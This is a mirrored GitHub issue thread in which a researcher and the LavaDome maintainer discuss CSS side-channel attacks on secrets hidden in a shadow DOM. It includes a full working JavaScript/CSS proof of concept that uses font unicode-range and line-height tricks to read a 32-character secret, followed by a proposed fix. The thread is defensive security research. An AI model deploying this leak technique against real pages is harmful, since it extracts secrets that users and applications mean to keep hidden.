Giter Club home page Giter Club logo

Comments (5)

masatokinugawa avatar masatokinugawa commented on August 28, 2024 1

I think the approach is valid. But it seems that ::first-letter can still override the style applied in the shadow DOM even after that fix is deployed. I created the test page: https://masatokinugawa.github.io/css/first-letter_and_first-line.html
Therefore, at least the first character can still be leaked. I don't really understand how this priority works but if there is CSS that can override this trick, ideally it should be applied as well.

from lavadome.

weizman avatar weizman commented on August 28, 2024

I have to admit @masatokinugawa that this doesn't work on neither FF nor Chrome for me - I keep getting this:

Screenshot 2024-07-07 at 0 55 05

from lavadome.

masatokinugawa avatar masatokinugawa commented on August 28, 2024

Can you try the following code? The possible cause is that the heights are slightly different.

const secretChars = "0123456789abcdef";
let foundChars = "";
let styleText = "";

// Define fonts for each character included in the secret using the `unicode-range` of `@font-face`.
// Here, use `descent-override` property to change the height of each character.
// Also, narrow the #PRIVATE's width so that wrapping occurs character by character.
// And make the size of the characters in the first-line smaller than the rest.
// By doing so, when the #PRIVATE's width is widened little by little, the characters will drop to the first-line one by one.
const style = document.createElement('style');
document.body.appendChild(style);
for (let index = 0; index < secretChars.length; index++) {
  styleText += `@font-face{
    font-family: hack;
    src: local('Comic Sans MS');
    descent-override:${(index+2)*100}%;
    unicode-range: U+${secretChars[index].charCodeAt(0).toString(16)};
}\n`;
}
styleText += `#PRIVATE {
  font-family:hack;
  word-wrap: break-word;
  font-size:1000px;
  width:0px;
}
#PRIVATE:before{
  content:"x";
}
#PRIVATE::first-line {
  font-family: "Comic Sans MS";
  font-size:30px;
}
#check-height{
    font-family:hack;
    font-size:1000px;
}
`;
style.innerHTML = styleText;

// Check 0's height.
// From this height, you can determine the heights of all other characters.
// e.g. 1's height = 0's height + 1000, 2's height = 0's height + 2000, ...
const testElement = document.createElement('p');
testElement.id = "check-height";
testElement.innerHTML = "0";
document.body.appendChild(testElement);
const baseHeight = testElement.scrollHeight;

// Widen the #PRIVATE's width little by little and drop the characters to the first-line one by one.
// If a character fall to the first-line, the #PRIVATE's height will be changed.
// From this height's difference, detect what the character is.
let pHeight = PRIVATE.scrollHeight;
let pWidth = 1;
while (1) {
  if (pHeight !== PRIVATE.scrollHeight) {
    let heightDiff = pHeight - PRIVATE.scrollHeight;
    for (let index = 0; index < secretChars.length; index++) {
      if (Math.abs(heightDiff - (baseHeight + (1000 * index))) < 10) {
        foundChars += secretChars[index];
        console.log(`Found: ${foundChars}`);
        break;
      }
    }
    if (foundChars.length == 32) {
      alert(foundChars);
      break;
    }
    pHeight = PRIVATE.scrollHeight;
  }
  PRIVATE.style.width = `${pWidth}px`;
  pWidth++;
}

from lavadome.

weizman avatar weizman commented on August 28, 2024

That works!

Didn't look too much into it yet, but some intuition I have here is that maybe there's no escaping from LavaDome instance to introduce its own set of CSS rules to win the specificity race so that applying such CSS rules from outside won't work.

For example, here you leverage an ability to resize internals of the shadow by resizing the size of the font - so if the size of the font remains constant, you shouldn't be able to achieve that (I think).

from lavadome.

weizman avatar weizman commented on August 28, 2024

@masatokinugawa #48 is an interesting [draft] approach I think.

Basically it focuses on neutralizing outer CSS that goes after specific characters.

The only one I'm familiar with is this unicode-range trick, which seems to only be applicable via @font-face, so basically by forcing a non-existing @font-face on the sensitive nodes within the shadow (with the highest specificity possible) we make it so that outer @font-faces can't force themselves upon nodes within the shadow.

The downside here is that specifically legitimate @font-faces by the app won't apply either, but at this point I'm willing to sacrifice this IF this approach is actually valid.

Curious to hear your thoughts.

EDIT: I think this will solve the local Safari theoretical attack too #40 (comment)

from lavadome.

Related Issues (18)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.